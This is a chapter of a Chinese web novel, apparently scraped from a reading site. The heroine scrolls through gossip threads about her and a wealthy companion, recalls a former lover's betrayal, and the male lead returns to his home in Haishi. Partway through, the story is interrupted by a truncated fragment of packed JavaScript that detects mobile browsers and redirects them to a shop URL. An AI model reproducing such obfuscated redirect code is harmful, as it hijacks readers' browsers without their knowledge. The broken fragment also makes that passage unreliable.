默认冷灰
24号文字
方正启体

30. 傍上有钱人

作者:生生息本书字数:K更新时间:
    除了上面的话题,帖子上还有另一个引用话题。


    “傍上有钱人?神秘男人身份究竟是什么?”


    图片正是临走的时候,商文载用手挡住她的画面,他细长的手指捂住她下半张脸,隐约还能穿过手指的缝隙看到时扬惶然的眼睛,手腕上表展露无遗。


    时扬好奇地戳进话题,一堆重复抄袭的帖子看得她一个头两个大,视线最终在一张截图前停下来:曜石黑的表盘、银色的表带,旁边还写着品牌名字和价格。


    时扬看不懂男士腕表,但她知道品牌,更知道¥后面的数字。


    点开大图放大,眼珠子不眨一下地数了一遍,又数了一遍后,六位数字……


    时扬瘫坐在座椅上,咽了咽口水,突然有点明白了之前无为道长说的“虚有其表、看着富贵但钱袋子栓得紧”的人到底是谁。


    愣了愣后,时扬嘴里嘀咕;“净胡说八道,要是能攀上有钱人,我还工作个什么劲?”


    她对着手机翻了个白眼,忍不住往评论区翻。


    Momo1:他也不算有钱人吧,那表就几十万。


    Momo2:哟!缘分一线牵,也是让我在网上碰上个有钱人了,你银行卡余额截图给我看看,有几位数啊到底?


    Momo1:我为什么要给你看?你谁啊你?


    Momo2没有回复,来了个拱火的Momo3和Momo4:就是,给我等穷人开开眼呗。


    本以为那人不会回复了,时扬打开折叠的评论,却真的看到一张小数点前余额八位数的银行卡截图,再往下一划拉,果然网友都是火眼金睛。


    新来的Nono1一锤定音:这位有钱人朋友,P图P明白了吗,你就P?数字底下都没对齐!


    时扬噗嗤一声笑出来,接着往下翻评论。


    有瞎猜商文载有钱人身份,被人科普有钱人都信鬼神的;有说两人动作暧昧,看着关系不简单的;有讨论两人身高差合适,女生抬头稍稍踮脚就能亲到嘴的;有问他俩为啥穿情侣装,被人反问统一校服的中学生是不是一整个学校里都是情侣的……


    从最开始的腕表价格,到最后的亲嘴,再到最后大家纷纷放出自己中学时候的校服,话题偏到天涯海角。


    时扬嘴角抽了又抽,正要退出去,往上一翻,热评第一的那位Momo1朋友已经显示“账号已注销”。


    时扬一边咧着嘴巴没心没肺地笑,一边退出去翻开下一篇帖子,登时就笑不出来了。


    是两年前围读剧本的照片,云帆牵着木沐离开,而照片对角线的阴影中,时扬孤零零地站在座位后面,十分落寞。


    后一张照片更是显得狼狈:时扬踩在水洼当中,米色长裙上布满黑色的污迹,淋湿的长发一缕缕地贴在脸上。


    往下翻评论的手指有些僵硬,时扬停顿片刻,还是往底下翻。


    Yoyo1:我想起来了,她之前单方面想跟云帆捆绑炒作,以为人家体面人不会当场揭穿,结果云帆没给她脸,直接走人。


    Yoyo2:还能这样的?她也太不要脸了吧!


    时扬又翻了个白眼,往下划了一下又退回来,咬着牙给Yoyo2举报了人身攻击。


    评论里大多都认为她是被人不体面的绿茶心机婊,只有一个名叫“悦来悦好来来来来~”的网友提出了不一样的观点。


    “有没有这种可能,就是云帆当时其实和时扬谈着恋爱,结果劈腿了木制片人,时扬才是受害者?”紧接着,他放出了一张照片。


    时扬点开,死去的回忆顿时上来。


    照片上她仍然穿着那件脏了的米色长裙,和一个身穿深灰色卫衣的男人在树下说着什么。


    时扬记得很清楚,那就是她被人扯进水坑后几个小时,当时她正打算从京市回江城,结果云帆不知道怎么找到了她。


    要说她这一辈子最后悔的事情,就是那天答应了他的恳求。


    他苦苦哀求她,求她不要将两人的恋情说出去。


    说他也是没办法,木沐看上了他,又有个圈内大佬的爸爸护着,他要是不同意,蒸蒸日上的事业立马就得跌进泥里,并且以后一辈子都爬不起来。


    时扬和他从微末的时候认识,知道他有多努力才走到现在,想到两人认识的五年,一时间就被猪油蒙了心,到底还是答应了。


    结果几个月之后,才从秦小凡嘴里知道,云帆哪是赶鸭子上架,明明就是只自己乐呵呵上赶着的鸭子。


    时扬气得一整晚睡不着觉,无数次想半夜爬起来亲自爆料,但当时的经纪人劝她:木沐爸爸得罪不起,你现在爆料云帆脚踏两条船,不就也同样证明了木沐是小三?你做实了他女儿是小三,那他还能放过你?


    时扬看着悦来悦好来来来来~放出的图片,心里堵得慌,有种要放出更多图片的冲动,又想到白晓花,还是控制住自己。


    “就是就是,悦悦说得对,我也这么觉得。”时扬点开悦来悦好来来来来~的头像,确认性别为女后,窝囊地附和了一句。


    几秒钟后有个网名为“云帆的朱砂痣”的人回复了时扬:“对什么对?你眼睛瞎吗?穿卫衣的那个不是云帆,你看不出来啊?”


    此人随即也放出一张照片,图上云帆穿着一件款式完全不一样的深灰色卫衣,戴着墨镜的脸从宽大的卫衣帽檐下露出来,正走出机场被粉丝围着签名。


    来了个热心群众Nono2:朱砂痣兄,云帆有B卫衣,不能证明他没有A卫衣,所以证明不了图上的人不是云帆。


    云帆的朱砂痣东拉西扯、强行辟谣,被人揭穿又吵不过逻辑严谨的Nono2后,恼羞成怒,转而枪头调转,火力向楼主悦来悦好来来来来~全开。


    她打开悦来悦好来来来来~的主页,在众多的帖子中找出一个跟任柏悦有关的,又看网名里也有一个“悦”字,一下就师出有名。


    云帆的朱砂痣回复悦来悦好来来来来~:任柏悦的洗脚婢,栽赃陷害,空口造谣,你正主糊一辈子哈。


    任柏悦刚洗澡出来,用毛巾擦着头发,一打开手机就看到这条回复,“糊”字刺痛了他。


    他咬牙切齿打算回复,一个叫“悦悦的咪咪头”的网友替他骂了回去:云帆的腿毛,你是疯狗吗,见谁就咬?关我们悦悦什么事?闭上你的臭嘴!


    任柏悦开心一笑,正要放下手机,忽然见网友“悦悦的咪咪头”头像不简单,他盯着头像中间的一个黑点,瞳孔猛地放大,脑袋缓缓下移,看了看自己半露在浴袍外的胸膛,嘴角不禁狠狠抽动。


    时扬也看到了那个网名和头像,她心中有个猜测要验证,于是大胆地点开了网友“悦悦的咪咪头”的头像。


    圆形头像框的最中间,一个黑色的点,四周用一个粉红色的爱心围住,爱心的尖尖处挂着一张烈焰红唇……


    时扬抖着手,缓缓将食指从那黑点上移开,仿佛上面有浓硫酸,然后惊恐得“啊”地一声将手机扔得远远的。


    她的手……脏了……


    “啊!”手机在一侧的座位上突然震动,时扬吓得惊呼出声。


    她拿起手机一看,心里把早就跟白晓花编过一遍的瞎话过了一次,然后自信接起电话,没想到对面的兰一一根本懒得问她。


    “几点到啊?”兰一一打了个呵欠,好像还没睡醒。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133553|193818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“凌晨五点左右。”


    兰一一又一个呵欠,“那行,我明早早点去接你。”


    “不用来,我自己打个车回家就行,又不是不认路——”


    “你认得路啊?你上次被出租车司机绕半个小时的路,你忘了?你一个土生土长的本地人,丢人不丢人!”


    “我——”


    “我什么我!下飞机后给我老实待着,等我过去。”兰一一没再给时扬说话的机会,利落挂掉电话。


    另一头,商文载已经到了海市的家中。


    他中途去了趟西北,家里大半个月没有人,好在提前让阿姨打扫了卫生。


    海市是个繁华的地方,夜生活也丰富,晚上七点多,窗外仍然是灯红酒绿的景象。


    极远处林立的大厦还亮着灯,一个个狭小的明亮方块里充斥着努力活着的人,像一只只勤劳的工蚁,匆匆忙忙,灰头土脸,只为了不饿着而已。


    商文载在落地窗前站了一会儿,若有所思,这时茶几上的手机响起。


    “哎呀,刚才接到个很急的电话,忙去了,没接到你的电话,真是不好意思呢~”电话那头阴阳怪气,仍不解气,继续道,“比不得你,这几年闲云野鹤,上上下下都得靠我,忙得饭都没时间吃——”


    “一会儿发你个媒体名字,帮我查个人,然后——处理一下,最好让他换个适合的行业。”商文载对祝无章的怨气置若罔闻,直入话题。


    电话那头的祝无章更气了,“哎,大半个月不给我打电话,一打电话就使唤我,你好歹说句好听话啊,我是你的家仆吗——”


    “对了,之前让你帮我买的西北特产买了吗?”


    “买了买了,我让小景买好,已经放到你江岸的车里了。”祝无章丑话要说,漂亮活儿也干。


    “嗯,多谢。最近拍卖行那边盯得紧一点,要是有新动向,及时和我联系。”商文载一口气说完,听着对方气得猛吸气,才笑着画饼,“等罗盘找到了,我就回公司帮你分忧。”


    “哎,这就对了,等找到了东西,一定——”祝无章话刚说到一半儿,突然反应过来不对,“你话说清楚了,什么叫给我分忧,公司是我一个人的?啊?喂!”


    商文载趁他废话前赶紧挂断了电话,随后把公司名字和记者的特征发了过去,一看时间,已经快到晚上八点。


    空旷的房子只有他一个人,家人都知道,海市的住处是他愿意独处的地方,所以连叽叽喳喳、跟屁虫一样的商文洛也不常来。


    从他大学毕业后就搬来了海市,一方面是为了工作,一方面也是为了远离京市的家人。


    并非不爱他们,反而——是太爱,他总有回去的一天,要是因为这里的家人舍不得走了,那时丛若可怎么办?


    商文载走上二楼,简单洗漱之后,又换了一身干净衣服,径直走向书房。


    书房极大,落地窗前靠墙的位置摆着一张红木书桌,书桌后方和正面的墙都摆满了书。


    而书桌左侧靠里面的地方隔着一方屏风,有半面墙大小,屏风上三两笔勾勒出一个撑船渡江的老人,手持一竹篙,向对岸的远山和雾霭行去。


    穿过屏风,里面摆着一套乌金木的新中式沙发,中央的桌上摆着一套紫砂壶。


    商文洛来过这里几次,每次见他房间的陈设都连连摇头。


    “哥,你活得像个老人一样,连喜欢的东西都是老的。”


    商文载当时没反驳他,只心道:比你大六百多岁,活成个老人,有什么稀奇?


    商文载进了书房,直接走向屏风后,沙发后的墙上还有一道镂空的木门,丝质灯笼透出点点暖黄色灯光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)